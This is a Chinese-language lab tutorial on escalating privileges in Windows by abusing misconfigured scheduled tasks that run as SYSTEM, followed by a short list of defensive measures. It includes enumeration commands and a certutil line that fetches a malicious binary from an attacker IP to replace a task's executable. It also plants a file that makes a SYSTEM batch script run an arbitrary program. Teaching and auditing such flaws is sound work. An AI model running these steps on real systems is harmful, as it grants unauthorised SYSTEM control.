利用 Windows 常见的错误配置进行提权:计划任务
字数 1391 2025-08-26 22:11:57
Windows计划任务错误配置提权技术详解
0x00 前言
本文详细讲解如何利用Windows系统中常见的计划任务错误配置进行权限提升的技术。计划任务是Windows系统中用于自动执行例行任务的机制,当这些任务以高权限(如SYSTEM)运行时,如果存在配置错误,攻击者可能利用这些漏洞提升自身权限。
0x01 实验环境准备
系统配置
为复现本文中的利用案例,需要创建两个配置错误的计划任务:
-
创建普通用户lowuser
-
创建必要的目录结构:
mkdir "C:\ScheduledTasks\Task1" mkdir "C:\ScheduledTasks\Task2" mkdir "C:\ScheduledTasks\Task3" -
准备执行文件:
- Task1和Task3执行二进制文件
- Task2执行BAT文件
copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task1\something.exe" echo for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i > C:\ScheduledTasks\Task2\something.bat copy C:\Windows\System32\snmptrap.exe "C:\ScheduledTasks\Task3\something.exe" -
设置权限限制:
icacls "C:\ScheduledTasks\Task2" /deny lowuser:(W) icacls "C:\ScheduledTasks\Task2\something.bat" /deny lowuser:(W,D) icacls "C:\ScheduledTasks\Task3" /deny lowuser:(W) -
创建三个计划任务:
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task1" /tr "C:\ScheduledTasks\Task1\something.exe" /sc minute /mo 2 schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "\Microsoft\AdminTasks\Task2" /tr "C:\ScheduledTasks\Task2\something.bat" /sc minute /mo 2 schtasks /create /ru "lowuser" /rp "" /tn "\Microsoft\AdminTasks\Task3" /tr "C:\ScheduledTasks\Task3\something.bat" /sc minute /mo 2
0x02 Windows计划任务基础
Windows计划任务(Windows Task Scheduler)允许在选定的计算机上自动执行例行任务。它通过监控用户选择的触发条件(称为触发器)来启动任务,并在满足条件时执行任务。
计划任务操作类型
- 触发COM处理程序
- 执行二进制文件
- 发送电子邮件
- 显示消息框
计划任务触发器类型
基于时间的触发器:
- 时间触发
- 每日触发
- 每周触发
- 每月触发
基于事件的触发器:
- 空闲触发
- 开机触发
- 注册触发
- 登录触发
- 会话状态更改触发
值得注意的是,一个任务可以配置多个触发器。计划任务通常以高权限(NT Authority\System)执行,如果配置不当,可能导致权限提升漏洞。
0x03 计划任务错误配置利用
3.1 任务枚举技术
方法一:使用schtasks命令
schtasks /query /fo LIST /v
方法二:使用PowerShell
Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "\Microsoft\Windows\*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
此命令会:
- 排除默认的Microsoft\Windows路径下的任务
- 排除当前用户权限的任务
- 显示剩余任务的状态、动作、日期、路径、名称和执行用户
3.2 利用案例:Task1
Task1每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task1\something.exe。
检查文件权限:
使用accesschk工具检查当前用户是否有写权限:
C:\Toolbox\accesschk64.exe -accepteula -wv lowuser C:\ScheduledTasks\Task1\something.exe
如果有写权限,可以用恶意二进制文件替换原文件:
certutil -urlcache -split -f "http://192.168.230.130:8080/something.exe" C:\ScheduledTasks\Task1\something.exe
替换后,最多等待两分钟,系统将以SYSTEM权限执行我们的恶意文件。
3.3 利用案例:Task2
Task2每两分钟以SYSTEM权限执行C:\ScheduledTasks\Task2\something.bat。
BAT文件内容分析:
for /F "tokens=*" %%i in ('type "C:\ScheduledTasks\Task2\.secret\file.txt"') do cmd.exe /C %%i
该脚本会读取.secret\file.txt文件内容并逐行执行。
利用方法:
- 检查是否有创建.secret目录和file.txt文件的权限
- 创建目录和文件:
mkdir C:\ScheduledTasks\Task2\.secret echo "C:\Windows\System32\spool\drivers\color\legit.exe" > C:\ScheduledTasks\Task2\.secret\file.txt - 等待最多两分钟,系统将以SYSTEM权限执行我们指定的命令
0x04 防御措施
- 最小权限原则:计划任务应使用完成任务所需的最低权限运行
- 文件权限控制:确保计划任务执行的二进制文件和脚本不能被非授权用户修改
- 审计计划任务:定期检查系统中的计划任务配置
- 使用专用账户:为计划任务创建专用服务账户,而非使用SYSTEM等高权限账户
- 限制脚本执行:严格控制脚本文件的写入权限,特别是那些会被计划任务执行的脚本
0x05 总结
Windows计划任务配置不当可能导致严重的权限提升漏洞。攻击者可以通过:
- 替换计划任务执行的二进制文件
- 修改计划任务执行的脚本或脚本引用的文件
- 利用计划任务的高权限执行恶意代码
系统管理员应定期审计计划任务配置,确保没有此类安全隐患存在。